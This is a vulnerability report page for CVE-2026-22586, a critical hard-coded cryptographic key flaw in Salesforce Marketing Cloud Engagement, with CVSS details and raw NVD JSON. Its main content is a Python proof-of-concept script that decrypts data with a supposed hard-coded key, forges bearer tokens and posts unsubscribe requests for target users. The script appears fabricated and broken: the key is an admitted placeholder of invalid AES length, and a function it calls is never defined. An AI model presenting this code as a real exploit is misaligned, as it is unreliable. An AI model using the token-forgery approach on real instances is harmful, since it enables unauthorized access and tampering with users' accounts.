Security Vulnerability Report
中文
CVE-2026-22586 CVSS 9.8 CRITICAL

CVE-2026-22586

Published: 2026-01-24 01:15:50
Last Modified: 2026-05-15 20:25:13

Description

Hard-coded Cryptographic Key vulnerability in Salesforce Marketing Cloud Engagement (CloudPages, Forward to a Friend, Profile Center, Subscription Center, Unsub Center, View As Webpage modules) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:* - VULNERABLE
Salesforce Marketing Cloud Engagement < 2026-01-21 (所有受影响模块:CloudPages, Forward to a Friend, Profile Center, Subscription Center, Unsub Center, View As Webpage)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22586 PoC - Hard-coded Cryptographic Key Exploitation # This PoC demonstrates the exploitation of hard-coded key vulnerability # in Salesforce Marketing Cloud Engagement import requests import json import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend # Target configuration TARGET_URL = "https://your-instance.marketingcloud.com" VULNERABLE_MODULE = "/cloudpages" # or /profile-center, /subscription-center, etc. # Hard-coded key extracted from vulnerable version (example key format) HARDCODED_KEY = b"sfmc_encryption_key_vulnerable_2025" def decrypt_data(encrypted_data, key=HARDCODED_KEY): """Decrypt data using the hard-coded key""" try: # AES CBC mode decryption encrypted_bytes = base64.b64decode(encrypted_data) iv = encrypted_bytes[:16] ciphertext = encrypted_bytes[16:] cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() decrypted = decryptor.update(ciphertext) + decryptor.finalize() # Remove PKCS7 padding padding_len = decrypted[-1] return decrypted[:-padding_len].decode('utf-8') except Exception as e: print(f"Decryption failed: {e}") return None def create_forged_token(user_id, module): """Create a forged authentication token using hard-coded key""" import time token_data = { "user_id": user_id, "module": module, "timestamp": int(time.time()), "permissions": ["read", "write", "delete"] } # Sign with hard-coded key import json payload = json.dumps(token_data) encrypted = encrypt_data(payload, HARDCODED_KEY) return encrypted def exploit_web_service_manipulation(): """Exploit Web Services Protocol Manipulation vulnerability""" # Step 1: Access vulnerable endpoint endpoint = f"{TARGET_URL}{VULNERABLE_MODULE}/api/v1/user/data" headers = { "Content-Type": "application/json", "X-Api-Version": "1.0" } # Step 2: Send request with forged token forged_token = create_forged_token("victim_user_id", VULNERABLE_MODULE) headers["Authorization"] = f"Bearer {forged_token}" # Step 3: Manipulate subscription status manipulation_payload = { "action": "unsubscribe", "user_id": "target_user_id", "list_ids": ["marketing_list_1", "marketing_list_2"], "force": True } response = requests.post( f"{endpoint}/subscription", json=manipulation_payload, headers=headers, verify=False, timeout=30 ) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response def main(): print("=" * 60) print("CVE-2026-22586 Exploitation PoC") print("Salesforce Marketing Cloud - Hard-coded Key Vulnerability") print("=" * 60) # Demonstrate the vulnerability exploit_web_service_manipulation() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22586", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:50.283", "lastModified": "2026-05-15T20:25:13.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hard-coded Cryptographic Key vulnerability in Salesforce Marketing Cloud Engagement (CloudPages, Forward to a Friend, Profile Center, Subscription Center, Unsub Center, View As Webpage modules) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026."}, {"lang": "es", "value": "Vulnerabilidad de clave criptográfica codificada de forma rígida en Salesforce Marketing Cloud Engagement (módulos CloudPages, Forward to a Friend, Profile Center, Subscription Center, Unsub Center, View As Webpage) permite la manipulación del protocolo de servicios web. Este problema afecta a Marketing Cloud Engagement: antes del 21 de enero de 2026."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "5A41CCDE-A5EA-45D6-A009-A6908459C453"}]}]}], "references": [{"url": "https://help.salesforce.com/s/articleView?id=005299346&type=1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}